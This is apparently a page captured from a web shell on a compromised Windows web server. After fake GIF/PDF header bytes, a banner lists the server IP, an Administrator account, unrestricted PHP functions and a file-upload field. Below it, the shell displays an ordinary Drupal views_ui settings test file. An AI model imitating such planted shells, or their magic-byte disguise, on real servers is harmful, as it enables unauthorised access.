GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.119 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views_ui/src/Tests/ |
Upload File : |
<?php namespace Drupal\views_ui\Tests; /** * Tests all ui related settings under admin/structure/views/settings. * * @group views_ui */ class SettingsTest extends UITestBase { /** * Stores an admin user used by the different tests. * * @var \Drupal\user\User */ protected $adminUser; /** * {@inheritdoc} */ protected function setUp() { parent::setUp(); $this->drupalPlaceBlock('local_tasks_block'); } /** * Tests the settings for the edit ui. */ public function testEditUI() { $this->drupalLogin($this->adminUser); // Test the settings tab exists. $this->drupalGet('admin/structure/views'); $this->assertLinkByHref('admin/structure/views/settings'); // Test the confirmation message. $this->drupalPostForm('admin/structure/views/settings', [], t('Save configuration')); $this->assertText(t('The configuration options have been saved.')); // Configure to always show the master display. $edit = [ 'ui_show_master_display' => TRUE, ]; $this->drupalPostForm('admin/structure/views/settings', $edit, t('Save configuration')); $view = []; $view['label'] = $this->randomMachineName(16); $view['id'] = strtolower($this->randomMachineName(16)); $view['description'] = $this->randomMachineName(16); $view['page[create]'] = TRUE; $view['page[title]'] = $this->randomMachineName(16); $view['page[path]'] = $this->randomMachineName(16); $this->drupalPostForm('admin/structure/views/add', $view, t('Save and edit')); // Configure to not always show the master display. // If you have a view without a page or block the master display should be // still shown. $edit = [ 'ui_show_master_display' => FALSE, ]; $this->drupalPostForm('admin/structure/views/settings', $edit, t('Save configuration')); $view['page[create]'] = FALSE; $this->drupalPostForm('admin/structure/views/add', $view, t('Save and edit')); // Create a view with an additional display, so master should be hidden. $view['page[create]'] = TRUE; $view['id'] = strtolower($this->randomMachineName()); $this->drupalPostForm('admin/structure/views/add', $view, t('Save and edit')); $this->assertNoLink(t('Master')); // Configure to always show the advanced settings. // @todo It doesn't seem to be a way to test this as this works just on js. // Configure to show the embeddable display. $edit = [ 'ui_show_display_embed' => TRUE, ]; $this->drupalPostForm('admin/structure/views/settings', $edit, t('Save configuration')); $view['id'] = strtolower($this->randomMachineName()); $this->drupalPostForm('admin/structure/views/add', $view, t('Save and edit')); $this->assertFieldById('edit-displays-top-add-display-embed'); $edit = [ 'ui_show_display_embed' => FALSE, ]; $this->drupalPostForm('admin/structure/views/settings', $edit, t('Save configuration')); $this->drupalPostForm('admin/structure/views/add', $view, t('Save and edit')); $this->assertNoFieldById('edit-displays-top-add-display-embed'); // Configure to hide/show the sql at the preview. $edit = [ 'ui_show_sql_query_enabled' => FALSE, ]; $this->drupalPostForm('admin/structure/views/settings', $edit, t('Save configuration')); $view['id'] = strtolower($this->randomMachineName()); $this->drupalPostForm('admin/structure/views/add', $view, t('Save and edit')); $this->drupalPostForm(NULL, [], t('Update preview')); $xpath = $this->xpath('//div[@class="views-query-info"]/pre'); $this->assertEqual(count($xpath), 0, 'The views sql is hidden.'); $edit = [ 'ui_show_sql_query_enabled' => TRUE, ]; $this->drupalPostForm('admin/structure/views/settings', $edit, t('Save configuration')); $view['id'] = strtolower($this->randomMachineName()); $this->drupalPostForm('admin/structure/views/add', $view, t('Save and edit')); $this->drupalPostForm(NULL, [], t('Update preview')); $xpath = $this->xpath('//div[@class="views-query-info"]//pre'); $this->assertEqual(count($xpath), 1, 'The views sql is shown.'); $this->assertFalse(strpos($xpath[0], 'db_condition_placeholder') !== FALSE, 'No placeholders are shown in the views sql.'); $this->assertTrue(strpos($xpath[0], "node_field_data.status = '1'") !== FALSE, 'The placeholders in the views sql is replace by the actual value.'); // Test the advanced settings form. // Test the confirmation message. $this->drupalPostForm('admin/structure/views/settings/advanced', [], t('Save configuration')); $this->assertText(t('The configuration options have been saved.')); $edit = [ 'skip_cache' => TRUE, 'sql_signature' => TRUE, ]; $this->drupalPostForm('admin/structure/views/settings/advanced', $edit, t('Save configuration')); $this->assertFieldChecked('edit-skip-cache', 'The skip_cache option is checked.'); $this->assertFieldChecked('edit-sql-signature', 'The sql_signature option is checked.'); // Test the "Clear Views' cache" button. $this->drupalPostForm('admin/structure/views/settings/advanced', [], t("Clear Views' cache")); $this->assertText(t('The cache has been cleared.')); } }